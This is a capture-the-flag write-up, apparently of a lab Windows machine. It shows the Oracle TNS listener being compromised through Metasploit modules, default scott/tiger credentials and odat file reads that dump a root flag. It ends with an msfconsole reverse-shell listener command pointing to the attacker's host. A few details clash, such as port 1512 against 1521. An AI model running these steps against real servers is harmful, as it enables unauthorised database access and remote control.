PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 8.5 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/8.5 |_http-title: IIS Windows Server 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 1521/tcp open oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized) 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49158/tcp open msrpc Microsoft Windows RPC 49160/tcp open oracle-tns Oracle TNS listener (requires service name) 49161/tcp open msrpc Microsoft Windows RPC 49162/tcp open msrpc Microsoft Windows RPC Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Looking at the IIS web server we didn’t found anything interesting so we focused on the unauthorized Oracle service on port 1512.
We first tested the target for a TNS Poison attack: auxiliary/scanner/oracle/tnspoison_checker and we confirmed the possibility to exploit this vulnerability:
Using the module admin/oracle/sid_brute we found 3 SID (Oracle database/instance unique name):
1 2 3
[+] 10.10.10.82:1521 - 10.10.10.82:1521 Found SID 'XE' [+] 10.10.10.82:1521 - 10.10.10.82:1521 Found SID 'PLSExtProc' [+] 10.10.10.82:1521 - 10.10.10.82:1521 Found SID 'CLRExtProc'
Bruteforcing logins for each SID we found a tuple username/password for XE SID: scott/tiger.
Using odat we can issue commands to the database. odat is develop to test the security of Oracle databases so it has some modules to privesc, read file, upload file, CVEs, search, etc.
With the passwordstealer module we got some passwords
[1] (10.10.10.82:1521): Is it vulnerable to TNS poisoning (CVE-2012-1675)? [+] The target is vulnerable to a remote TNS poisoning
[2] (10.10.10.82:1521): Testing all modules on the XE SID with the scott/tiger account [2.1] UTL_HTTP library ? [-] KO [2.2] HTTPURITYPE library ? [+] OK [2.3] UTL_FILE library ? [+] OK [2.4] JAVA library ? [-] KO [2.5] DBMSADVISOR library ? [+] OK [2.6] DBMSSCHEDULER library ? [-] KO [2.7] CTXSYS library ? [-] KO [2.8] Hashed Oracle passwords ? [+] OK [2.9] Hashed Oracle passwords from history? [-] KO [2.10] DBMS_XSLPROCESSOR library ? [+] OK [2.11] External table to read files ? [-] KO [2.12] External table to execute system commands ? [-] KO [2.13] Oradbg ? [-] KO [2.14] DBMS_LOB to read files ? [+] OK [2.15] SMB authentication capture ? [-] KO [2.16] Gain elevated access (privilege escalation)? [+] The current user has already DBA role. It does not need to exploit a privilege escalation! [2.17] Modify any table while/when he can select it only normally (CVE-2014-4237)? [-] KO [2.18] Obtain the session key and salt for arbitrary Oracle users (CVE-2012-3137)? [+] Impossible to know if the database is vulnreable to the CVE-2012-3137. You need to run this as root because it needs to sniff authentications to the database
[3] (10.10.10.82:1521): Oracle users have not the password identical to the username ? The login XS$NULL has already been tested at least once. What do you want to do: | ETA: 00:00:13 - stop (s/S) - continue and ask every time (a/A) - continue without to ask (c/C) c
100% |################################################################################################| Time: 00:00:54 [-] No found a valid account on 10.10.10.82:1521/XE
Using the module dbmslob we can read files from the file system and since we have a DBA role we can try and see if the we can read the root flag using the --sysdba flag to connect to the database as SYSDBA:
[1] (10.10.10.82:1521): Read the root.txt file stored in the C:\Users\Administrator\Desktop path [+] Data stored in the root.txt file sored in C:\Users\Administrator\Desktop (copied in root.txt locally): cd39ea0af657a495e33bc59c7836faf6
I don’t know if this was the intended way to solve this machine…but it worked!
From the odat utility we can upload files too; we generate a meterpreter shell with msfvenomon
With the metasploit listener started (msfconsole -x "use exploit/multi/handler; set payload cmd/unix/reverse_bash; set LHOST 10.10.15.87; set LPORT 3487; run -j") we triggered the execution of the uploaded exe with the odat module externaltable.
